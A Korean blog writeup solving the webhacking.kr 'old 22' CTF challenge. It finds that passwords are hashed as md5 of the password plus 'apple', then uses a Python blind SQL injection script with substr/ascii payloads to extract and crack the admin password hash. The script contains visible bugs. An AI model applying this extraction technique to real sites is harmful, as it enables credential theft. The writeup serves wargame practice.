본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 22번 문제풀이(Writeup)

반응형

webhacking.kr old 22번 문제풀이(Writeup)

 

old 22번 문제풀이 1

문제를 들어가면 위와 같이 출력된다.  딱 봐도 흥미가 생기는 문제이다. admin으로 로그인하는 게 미션이다.  Column Name을 가르쳐준 걸 보면 SQL Injection을 이용해야 할 것으로 보인다.

 

 

 

old 22번 문제풀이 2

먼저 guest 계정이 있는지 확인했다. 계정이 없어서 "Login Fail!"이 나왔다. 그래서 join으로 가입하고 확인해보기로 했다.

 

 

old 22번 문제풀이 3

guest, guest로 가입하고 나니 Done이 출력되고, index.php?mode=join에서 가입이 되었음을 알았다. 로그인해보자.

 

 

 

old 22번 문제풀이 4

로그인이 성공되었을 때 위와 같이 나온다. 패스워드를 해쉬해서 출력해주는 걸 보니 어떤 걸로 암호화했는지 궁금해진다. 그래서 온라인 복호화 사이트에서 어떤 걸로 했고, 복호화 결과를 확인해봤다.

 

 

old 22번 문제풀이 5

md5으로 복호화를 해보니 guest였던 패스워드에 apple이 붙은게 보인다. pw+"apple"로 md5를 이용해 암호화를 하는

것으로 보인다.

 

 

 

old 22번 문제풀이 6

이제 Blind SQL Injection을 시도했다. 기본적인 쿼리라고 생각했을 때, select __ from ___ where id='input_1' and pw='input_2'이라고 할 때

 

select __ from ___ where id='admin' or '1'='1#' and pw='input_2' 으로 Injection을 하면 뒷부분이 생략될 거라 생각하고 넣었더니 "Wrong password!"만 출력되었다. 옳은 쿼리인가 보다. 이제 스크립트를 작성해보자.

 

 

from operator import truediv
import requests
URL="https://webhacking.kr/challenge/bonus-2/index.php"
cookie={'PHPSESSDID':'ud0jd8ops6agkfbm0fr8tcn0s9'}
trueStr="Wrong password!"

#Get_Password_length
pw_len =""
for i in range(1,100):
    data = {"uuid":"admin' and length(pw)={}#".format(i), "pw":"a"}
    r = requests.post(URL, cookies=cookie, data=data)
    #print(i)
    if r.text.find(trueStr) != -1:
        pw_len = i
        break
print("pw_length = ", pw_len)


# Find_Password_String
pw = ''
for i in range (1,pw_len+1):
    for j in range(33,133):
        data = {"uuid":"admin' and ascii(substr(pw,{},1))={}#".format}
        r = requests.post(URL, cookies=cookie, data=data)
        if r.text.find(trueStr) != -1:
            pw += chr(j)
            break

print("password : " + pw )

스크립트는 위와 같다. 먼저 길이를 구하고 문자열을 구한다. 

 

 

old 22번 문제풀이 7

스크립트를 돌려서 구한 admin의 password Hash는 위와 같다. 이걸 다시 복호화했다.

 

 

 

old 22번 문제풀이 8

패스워드를 찾았다. 성공메시지가 출력되었다. 

 


늘 스크립트를 짤 때마다 어려운 것 같다. 더 적응하기 위해 노력해야겠다.

 

728x90